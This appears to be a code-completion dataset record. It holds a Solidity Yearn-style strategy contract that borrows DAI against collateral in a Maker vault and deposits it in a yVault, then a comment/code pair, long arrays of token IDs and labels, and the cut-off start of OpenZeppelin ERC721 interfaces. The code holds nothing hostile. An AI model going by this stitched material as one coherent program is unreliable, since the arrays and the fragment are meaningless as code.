debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); // call healthCheck contract if (doHealthCheck && healthCheck != address(0)) { require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck"); } else { doHealthCheck = true; } emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault)); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // Part: Strategy contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Units used in Maker contracts uint256 internal constant WAD = 10**18; uint256 internal constant RAY = 10**27; // DAI token IERC20 internal constant investmentToken = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); // 100% uint256 internal constant MAX_BPS = WAD; // Maximum loss on withdrawal from yVault uint256 internal constant MAX_LOSS_BPS = 10000; // Wrapped Ether - Used for swaps routing address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // SushiSwap router ISwap internal constant sushiswapRouter = ISwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // Uniswap router ISwap internal constant uniswapRouter = ISwap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Provider to read current block's base fee IBaseFee internal constant baseFeeProvider = IBaseFee(0xf8d0Ec04e94296773cE20eFbeeA82e76220cD549); // Token Adapter Module for collateral address public gemJoinAdapter; // Maker Oracle Security Module IOSMedianizer public wantToUSDOSMProxy; // Use Chainlink oracle to obtain latest want/ETH price AggregatorInterface public chainlinkWantToETHPriceFeed; // DAI yVault IVault public yVault; // Router used for swaps ISwap public router; // Collateral type bytes32 public ilk; // Our vault identifier uint256 public cdpId; // Our desired collaterization ratio uint256 public collateralizationRatio; // Allow the collateralization ratio to drift a bit in order to avoid cycles uint256 public rebalanceTolerance; // Max acceptable base fee to take more debt or harvest uint256 public maxAcceptableBaseFee; // Maximum acceptable loss on withdrawal. Default to 0.01%. uint256 public maxLoss; // If set to true the strategy will never try to repay debt by selling want bool public leaveDebtBehind; // Name of the strategy string internal strategyName; // ----------------- INIT FUNCTIONS TO SUPPORT CLONING ----------------- constructor( address _vault, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) public BaseStrategy(_vault) { _initializeThis( _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); } function initialize( address _vault, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) public { // Make sure we only initialize one time require(address(yVault) == address(0)); // dev: strategy already initialized address sender = msg.sender; // Initialize BaseStrategy _initialize(_vault, sender, sender, sender); // Initialize cloned instance _initializeThis( _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); } function _initializeThis( address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) internal { yVault = IVault(_yVault); strategyName = _strategyName; ilk = _ilk; gemJoinAdapter = _gemJoin; wantToUSDOSMProxy = IOSMedianizer(_wantToUSDOSMProxy); chainlinkWantToETHPriceFeed = AggregatorInterface( _chainlinkWantToETHPriceFeed ); // Set default router to SushiSwap router = sushiswapRouter; // Set health check to health.ychad.eth healthCheck = 0xDDCea799fF1699e98EDF118e0629A974Df7DF012; cdpId = MakerDaiDelegateLib.openCdp(ilk); require(cdpId > 0); // dev: error opening cdp // Current ratio can drift (collateralizationRatio - rebalanceTolerance, collateralizationRatio + rebalanceTolerance) // Allow additional 15% in any direction (210, 240) by default rebalanceTolerance = (15 * MAX_BPS) / 100; // Minimum collaterization ratio on YFI-A is 175% // Use 225% as target collateralizationRatio = (225 * MAX_BPS) / 100; // If we lose money in yvDAI then we are not OK selling want to repay it leaveDebtBehind = true; // Define maximum acceptable loss on withdrawal to be 0.01%. maxLoss = 1; // Set max acceptable base fee to take on more debt to 60 gwei maxAcceptableBaseFee = 60 * 1e9; } // ----------------- SETTERS & MIGRATION ----------------- // Maximum acceptable base fee of current block to take on more debt function setMaxAcceptableBaseFee(uint256 _maxAcceptableBaseFee) external onlyEmergencyAuthorized { maxAcceptableBaseFee = _maxAcceptableBaseFee; } // Target collateralization ratio to maintain within bounds function setCollateralizationRatio(uint256 _collateralizationRatio) external onlyEmergencyAuthorized { require( _collateralizationRatio.sub(rebalanceTolerance) > MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div( RAY ) ); // dev: desired collateralization ratio is too low collateralizationRatio = _collateralizationRatio; } // Rebalancing bands (collat ratio - tolerance, collat_ratio + tolerance) function setRebalanceTolerance(uint256 _rebalanceTolerance) external onlyEmergencyAuthorized { require( collateralizationRatio.sub(_rebalanceTolerance) > MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div( RAY ) ); // dev: desired rebalance tolerance makes allowed ratio too low rebalanceTolerance = _rebalanceTolerance; } // Max slippage to accept when withdrawing from yVault function setMaxLoss(uint256 _maxLoss) external onlyVaultManagers { require(_maxLoss <= MAX_LOSS_BPS); // dev: invalid value for max loss maxLoss = _maxLoss; } // If set to true the strategy will never sell want to repay debts function setLeaveDebtBehind(bool _leaveDebtBehind) external onlyEmergencyAuthorized { leaveDebtBehind = _leaveDebtBehind; } // Required to move funds to a new cdp and use a different cdpId after migration // Should only be called by governance as it will move funds function shiftToCdp(uint256 newCdpId) external onlyGovernance { MakerDaiDelegateLib.shiftCdp(cdpId, newCdpId); cdpId = newCdpId; } // Move yvDAI funds to a new yVault function migrateToNewDaiYVault(IVault newYVault) external onlyGovernance { uint256 balanceOfYVault = yVault.balanceOf(address(this)); if (balanceOfYVault > 0) { yVault.withdraw(balanceOfYVault, address(this), maxLoss); } investmentToken.safeApprove(address(yVault), 0); yVault = newYVault; _depositInvestmentTokenInYVault(); } // Allow address to manage Maker's CDP function grantCdpManagingRightsToUser(address user, bool allow) external onlyGovernance { MakerDaiDelegateLib.allowManagingCdp(cdpId, user, allow); } // Allow switching between Uniswap and SushiSwap function switchDex(bool isUniswap) external onlyVaultManagers { if (isUniswap) { router = uniswapRouter; } else { router = sushiswapRouter; } } // Allow external debt repayment // Attempt to take currentRatio to target c-ratio // Passing zero will repay all debt if possible function emergencyDebtRepayment(uint256 currentRatio) external onlyVaultManagers { _repayDebt(currentRatio); } // Allow repayment of an arbitrary amount of Dai without having to // grant access to the CDP in case of an emergency // Difference with `emergencyDebtRepayment` function above is that here we // are short-circuiting all strategy logic and repaying Dai at once // This could be helpful if for example yvDAI withdrawals are failing and // we want to do a Dai airdrop and direct debt repayment instead function repayDebtWithDaiBalance(uint256 amount) external onlyVaultManagers { _repayInvestmentTokenDebt(amount); } // ******** OVERRIDEN METHODS FROM BASE CONTRACT ************ function name() external view override returns (string memory) { return strategyName; } function delegatedAssets() external view override returns (uint256) { return _convertInvestmentTokenToWant(_valueOfInvestment()); } function estimatedTotalAssets() public view override returns (uint256) { return balanceOfWant() .add(balanceOfMakerVault()) .add(_convertInvestmentTokenToWant(balanceOfInvestmentToken())) .add(_convertInvestmentTokenToWant(_valueOfInvestment())) .sub(_convertInvestmentTokenToWant(balanceOfDebt())); } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { uint256 totalDebt = vault.strategies(address(this)).totalDebt; // Claim rewards from yVault _takeYVaultProfit(); uint256 totalAssetsAfterProfit = estimatedTotalAssets(); _profit = totalAssetsAfterProfit > totalDebt ? totalAssetsAfterProfit.sub(totalDebt) : 0; uint256 _amountFreed; (_amountFreed, _loss) = liquidatePosition( _debtOutstanding.add(_profit) ); _debtPayment = Math.min(_debtOutstanding, _amountFreed); if (_loss > _profit) { // Example: // debtOutstanding 100, profit 50, _amountFreed 100, _loss 50 // loss should be 0, (50-50) // profit should endup in 0 _loss = _loss.sub(_profit); _profit = 0; } else { // Example: // debtOutstanding 100, profit 50, _amountFreed 140, _loss 10 // _profit should be 40, (50 profit - 10 loss) // loss should end up in be 0 _profit = _profit.sub(_loss); _loss = 0; } } function adjustPosition(uint256 _debtOutstanding) internal override { MakerDaiDelegateLib.keepBasicMakerHygiene(ilk); // If we have enough want to deposit more into the maker vault, we do it // Do not skip the rest of the function as it may need to repay or take on more debt uint256 wantBalance = balanceOfWant(); if (wantBalance > _debtOutstanding) { uint256 amountToDeposit = wantBalance.sub(_debtOutstanding); _depositToMakerVault(amountToDeposit); } // Allow the ratio to move a bit in either direction to avoid cycles uint256 currentRatio = getCurrentMakerVaultRatio(); if (currentRatio < collateralizationRatio.sub(rebalanceTolerance)) { _repayDebt(currentRatio); } else if ( currentRatio > collateralizationRatio.add(rebalanceTolerance) ) { _mintMoreInvestmentToken(); } // If we have anything left to invest then deposit into the yVault _depositInvestmentTokenInYVault(); } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { uint256 balance = balanceOfWant(); // Check if we can handle it without freeing collateral if (balance >= _amountNeeded) { return (_amountNeeded, 0); } // We only need to free the amount of want not readily available uint256 amountToFree = _amountNeeded.sub(balance); uint256 price = _getWantTokenPrice(); uint256 collateralBalance = balanceOfMakerVault(); // We cannot free more than what we have locked amountToFree = Math.min(amountToFree, collateralBalance); uint256 totalDebt = balanceOfDebt(); // If for some reason we do not have debt, make sure the operation does not revert if (totalDebt == 0) { totalDebt = 1; } uint256 toFreeIT = amountToFree.mul(price).div(WAD); uint256 collateralIT = collateralBalance.mul(price).div(WAD); uint256 newRatio = collateralIT.sub(toFreeIT).mul(MAX_BPS).div(totalDebt); // Attempt to repay necessary debt to restore the target collateralization ratio _repayDebt(newRatio); // Unlock as much collateral as possible while keeping the target ratio amountToFree = Math.min(amountToFree, _maxWithdrawal()); _freeCollateralAndRepayDai(amountToFree, 0); // If we still need more want to repay, we may need to unlock some collateral to sell if ( !leaveDebtBehind && balanceOfWant() < _amountNeeded && balanceOfDebt() > 0 ) { _sellCollateralToRepayRemainingDebtIfNeeded(); } uint256 looseWant = balanceOfWant(); if (_amountNeeded > looseWant) { _liquidatedAmount = looseWant; _loss = _amountNeeded.sub(looseWant); } else { _liquidatedAmount = _amountNeeded; _loss = 0; } } function liquidateAllPositions() internal override returns (uint256 _amountFreed) { (_amountFreed, ) = liquidatePosition(estimatedTotalAssets()); } function harvestTrigger(uint256 callCost) public view override returns (bool) { return isCurrentBaseFeeAcceptable() && super.harvestTrigger(callCost); } function tendTrigger(uint256 callCostInWei) public view override returns (bool) { // Nothing to adjust if there is no collateral locked if (balanceOfMakerVault() == 0) { return false; } uint256 currentRatio = getCurrentMakerVaultRatio(); // If we need to repay debt and are outside the tolerance bands, // we do it regardless of the call cost if (currentRatio < collateralizationRatio.sub(rebalanceTolerance)) { return true; } // Mint more DAI if possible return currentRatio > collateralizationRatio.add(rebalanceTolerance) && balanceOfDebt() > 0 && isCurrentBaseFeeAcceptable() && MakerDaiDelegateLib.isDaiAvailableToMint(ilk); } function prepareMigration(address _newStrategy) internal override { // Transfer Maker Vault ownership to the new startegy MakerDaiDelegateLib.transferCdp(cdpId, _newStrategy); // Move yvDAI balance to the new strategy IERC20(yVault).safeTransfer( _newStrategy, yVault.balanceOf(address(this)) ); } function protectedTokens() internal view override returns (address[] memory) {} function ethToWant(uint256 _amtInWei) public view virtual override returns (uint256) { if (address(want) == address(WETH)) { return _amtInWei; } uint256 price = uint256(chainlinkWantToETHPriceFeed.latestAnswer()); return _amtInWei.mul(WAD).div(price); } // ----------------- INTERNAL FUNCTIONS SUPPORT ----------------- function _repayDebt(uint256 currentRatio) internal { uint256 currentDebt = balanceOfDebt(); // Nothing to repay if we are over the collateralization ratio // or there is no debt if (currentRatio > collateralizationRatio || currentDebt == 0) { return; } // ratio = collateral / debt // collateral = current_ratio * current_debt // collateral amount is invariant here so we want to find new_debt // so that new_debt * desired_ratio = current_debt * current_ratio // new_debt = current_debt * current_ratio / desired_ratio // and the amount to repay is the difference between current_debt and new_debt uint256 newDebt = currentDebt.mul(currentRatio).div(collateralizationRatio); uint256 amountToRepay; // Maker will revert if the outstanding debt is less than a debt floor // called 'dust'. If we are there we need to either pay the debt in full // or leave at least 'dust' balance (10,000 DAI for YFI-A) uint256 debtFloor = MakerDaiDelegateLib.debtFloor(ilk); if (newDebt <= debtFloor) { // If we sold want to repay debt we will have DAI readily available in the strategy // This means we need to count both yvDAI shares and current DAI balance uint256 totalInvestmentAvailableToRepay = _valueOfInvestment().add(balanceOfInvestmentToken()); if (totalInvestmentAvailableToRepay >= currentDebt) { // Pay the entire debt if we have enough investment token amountToRepay = currentDebt; } else { // Pay just 0.1 cent above debtFloor (best effort without liquidating want) amountToRepay = currentDebt.sub(debtFloor).sub(1e15); } } else { // If we are not near the debt floor then just pay the exact amount // needed to obtain a healthy collateralization ratio amountToRepay = currentDebt.sub(newDebt); } uint256 balanceIT = balanceOfInvestmentToken(); if (amountToRepay > balanceIT) { _withdrawFromYVault(amountToRepay.sub(balanceIT)); } _repayInvestmentTokenDebt(amountToRepay); } function _sellCollateralToRepayRemainingDebtIfNeeded() internal { uint256 currentInvestmentValue = _valueOfInvestment(); uint256 investmentLeftToAcquire = balanceOfDebt().sub(currentInvestmentValue); uint256 investmentLeftToAcquireInWant = _convertInvestmentTokenToWant(investmentLeftToAcquire); if (investmentLeftToAcquireInWant <= balanceOfWant()) { _buyInvestmentTokenWithWant(investmentLeftToAcquire); _repayDebt(0); _freeCollateralAndRepayDai(balanceOfMakerVault(), 0); } } // Mint the maximum DAI possible for the locked collateral function _mintMoreInvestmentToken() internal { uint256 price = _getWantTokenPrice(); uint256 amount = balanceOfMakerVault(); uint256 daiToMint = amount.mul(price).mul(MAX_BPS).div(collateralizationRatio).div(WAD); daiToMint = daiToMint.sub(balanceOfDebt()); _lockCollateralAndMintDai(0, daiToMint); } function _withdrawFromYVault(uint256 _amountIT) internal returns (uint256) { if (_amountIT == 0) { return 0; } // No need to check allowance because the contract == token uint256 balancePrior = balanceOfInvestmentToken(); uint256 sharesToWithdraw = Math.min( _investmentTokenToYShares(_amountIT), yVault.balanceOf(address(this)) ); if (sharesToWithdraw == 0) { return 0; } yVault.withdraw(sharesToWithdraw, address(this), maxLoss); return balanceOfInvestmentToken().sub(balancePrior); } function _depositInvestmentTokenInYVault() internal { uint256 balanceIT = balanceOfInvestmentToken(); if (balanceIT > 0) { _checkAllowance( address(yVault), address(investmentToken), balanceIT ); yVault.deposit(); } } function _repayInvestmentTokenDebt(uint256 amount) internal { if (amount == 0) { return; } uint256 debt = balanceOfDebt(); uint256 balanceIT = balanceOfInvestmentToken(); // We cannot pay more than loose balance amount = Math.min(amount, balanceIT); // We cannot pay more than we owe amount = Math.min(amount, debt); _checkAllowance( MakerDaiDelegateLib.daiJoinAddress(), address(investmentToken), amount ); if (amount > 0) { // When repaying the full debt it is very common to experience Vat/dust // reverts due to the debt being non-zero and less than the debt floor. // This can happen due to rounding when _wipeAndFreeGem() divides // the DAI amount by the accumulated stability fee rate. // To circumvent this issue we will add 1 Wei to the amount to be paid // if there is enough investment token balance (DAI) to do it. if (debt.sub(amount) == 0 && balanceIT.sub(amount) >= 1) { amount = amount.add(1); } // Repay debt amount without unlocking collateral _freeCollateralAndRepayDai(0, amount); } } function _checkAllowance( address _contract, address _token, uint256 _amount ) internal { if (IERC20(_token).allowance(address(this), _contract) < _amount) { IERC20(_token).safeApprove(_contract, 0); IERC20(_token).safeApprove(_contract, type(uint256).max); } } function _takeYVaultProfit() internal { uint256 _debt = balanceOfDebt(); uint256 _valueInVault = _valueOfInvestment(); if (_debt >= _valueInVault) { return; } uint256 profit = _valueInVault.sub(_debt); uint256 ySharesToWithdraw = _investmentTokenToYShares(profit); if (ySharesToWithdraw > 0) { yVault.withdraw(ySharesToWithdraw, address(this), maxLoss); _sellAForB( balanceOfInvestmentToken(), address(investmentToken), address(want) ); } } function _depositToMakerVault(uint256 amount) internal { if (amount == 0) { return; } _checkAllowance(gemJoinAdapter, address(want), amount); uint256 price = _getWantTokenPrice(); uint256 daiToMint = amount.mul(price).mul(MAX_BPS).div(collateralizationRatio).div(WAD); _lockCollateralAndMintDai(amount, daiToMint); } // Returns maximum collateral to withdraw while maintaining the target collateralization ratio function _maxWithdrawal() internal view returns (uint256) { // Denominated in want uint256 totalCollateral = balanceOfMakerVault(); // Denominated in investment token uint256 totalDebt = balanceOfDebt(); // If there is no debt to repay we can withdraw all the locked collateral if (totalDebt == 0) { return totalCollateral; } uint256 price = _getWantTokenPrice(); // Min collateral in want that needs to be locked with the outstanding debt // Allow going to the lower rebalancing band uint256 minCollateral = collateralizationRatio .sub(rebalanceTolerance) .mul(totalDebt) .mul(WAD) .div(price) .div(MAX_BPS); // If we are under collateralized then it is not safe for us to withdraw anything if (minCollateral > totalCollateral) { return 0; } return totalCollateral.sub(minCollateral); } // ----------------- PUBLIC BALANCES AND CALCS ----------------- function balanceOfWant() public view returns (uint256) { return want.balanceOf(address(this)); } function balanceOfInvestmentToken() public view returns (uint256) { return investmentToken.balanceOf(address(this)); } function balanceOfDebt() public view returns (uint256) { return MakerDaiDelegateLib.debtForCdp(cdpId, ilk); } // Returns collateral balance in the vault function balanceOfMakerVault() public view returns (uint256) { return MakerDaiDelegateLib.balanceOfCdp(cdpId, ilk); } // Effective collateralization ratio of the vault function getCurrentMakerVaultRatio() public view returns (uint256) { return MakerDaiDelegateLib.getPessimisticRatioOfCdpWithExternalPrice( cdpId, ilk, _getWantTokenPrice(), MAX_BPS ); } // Check if current block's base fee is under max allowed base fee function isCurrentBaseFeeAcceptable() public view returns (bool) { uint256 baseFee; try baseFeeProvider.basefee_global() returns (uint256 currentBaseFee) { baseFee = currentBaseFee; } catch { // Useful for testing until ganache supports london fork // Hard-code current base fee to 1000 gwei // This should also help keepers that run in a fork without // baseFee() to avoid reverting and potentially abandoning the job baseFee = 1000 * 1e9; } return baseFee <= maxAcceptableBaseFee; } // ----------------- INTERNAL CALCS ----------------- // Returns the minimum price available function _getWantTokenPrice() internal view returns (uint256) { // Use price from spotter as base uint256 minPrice = MakerDaiDelegateLib.getSpotPrice(ilk); // Peek the OSM to get current price try wantToUSDOSMProxy.read() returns ( uint256 current, bool currentIsValid ) { if (currentIsValid && current > 0) { minPrice = Math.min(minPrice, current); } } catch { // Ignore price peek()'d from OSM. Maybe we are no longer authorized. } // Peep the OSM to get future price try wantToUSDOSMProxy.foresight() returns ( uint256 future, bool futureIsValid ) { if (futureIsValid && future > 0) { minPrice = Math.min(minPrice, future); } } catch { // Ignore price peep()'d from OSM. Maybe we are no longer authorized. } // If price is set to 0 then we hope no liquidations are taking place // Emergency scenarios can be handled via manual debt repayment or by // granting governance access to the CDP require(minPrice > 0); // dev: invalid spot price // par is crucial to this calculation as it defines the relationship between DAI and // 1 unit of value in the price return minPrice.mul(RAY).div(MakerDaiDelegateLib.getDaiPar()); } function _valueOfInvestment() internal view returns (uint256) { return yVault.balanceOf(address(this)).mul(yVault.pricePerShare()).div( 10**yVault.decimals() ); } function _investmentTokenToYShares(uint256 amount) internal view returns (uint256) { return amount.mul(10**yVault.decimals()).div(yVault.pricePerShare()); } function _lockCollateralAndMintDai( uint256 collateralAmount, uint256 daiToMint ) internal { MakerDaiDelegateLib.lockGemAndDraw( gemJoinAdapter, cdpId, collateralAmount, daiToMint, balanceOfDebt() ); } function _freeCollateralAndRepayDai( uint256 collateralAmount, uint256 daiToRepay ) internal { MakerDaiDelegateLib.wipeAndFreeGem( gemJoinAdapter, cdpId, collateralAmount, daiToRepay ); } // ----------------- TOKEN CONVERSIONS ----------------- function _convertInvestmentTokenToWant(uint256 amount) internal view returns (uint256) { return amount.mul(WAD).div(_getWantTokenPrice()); } function _getTokenOutPath(address _token_in, address _token_out) internal pure returns (address[] memory _path) { bool is_weth = _token_in == address(WETH) || _token_out == address(WETH); _path = new address[](is_weth ? 2 : 3); _path[0] = _token_in; if (is_weth) { _path[1] = _token_out; } else { _path[1] = address(WETH); _path[2] = _token_out; } } function _sellAForB( uint256 _amount, address tokenA, address tokenB ) internal { if (_amount == 0 || tokenA == tokenB) { return; } _checkAllowance(address(router), tokenA, _amount); router.swapExactTokensForTokens( _amount, 0, _getTokenOutPath(tokenA, tokenB), address(this), now ); } function _buyInvestmentTokenWithWant(uint256 _amount) internal { if (_amount == 0 || address(investmentToken) == address(want)) { return; } _checkAllowance(address(router), address(want), _amount); router.swapTokensForExactTokens( _amount, type(uint256).max, _getTokenOutPath(address(want), address(investmentToken)), address(this), now ); } } // File: MakerDaiDelegateCloner.sol contract MakerDaiDelegateCloner { address public immutable original; event Cloned(address indexed clone); event Deployed(address indexed original); constructor( address _vault, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) public { Strategy _original = new Strategy( _vault, _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); emit Deployed(address(_original)); original = address(_original); Strategy(_original).setRewards( 0xc491599b9A20c3A2F0A85697Ee6D9434EFa9f503 ); Strategy(_original).setKeeper( 0x736D7e3c5a6CB2CE3B764300140ABF476F6CFCCF ); Strategy(_original).setStrategist( 0x16388463d60FFE0661Cf7F1f31a7D658aC790ff7 ); } function cloneMakerDaiDelegate( address _vault, address _strategist, address _rewards, address _keeper, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(original); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore( clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone_code, 0x14), addressBytes) mstore( add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) newStrategy := create(0, clone_code, 0x37) } Strategy(newStrategy).initialize( _vault, _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); Strategy(newStrategy).setKeeper(_keeper); Strategy(newStrategy).setRewards(_rewards); Strategy(newStrategy).setStrategist(_strategist); emit Cloned(newStrategy); } function name() external pure returns (string memory) { return "[email protected]"; } }
We only need to free the amount of want not readily available
uint256 amountToFree = _amountNeeded.sub(balance);
508,400
[ 1, 3218, 1338, 1608, 358, 4843, 326, 3844, 434, 2545, 486, 855, 3220, 2319, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 3844, 774, 9194, 273, 389, 8949, 11449, 18, 1717, 12, 12296, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-10-29 */ // File openzeppelin-solidity/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File openzeppelin-solidity/contracts/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view 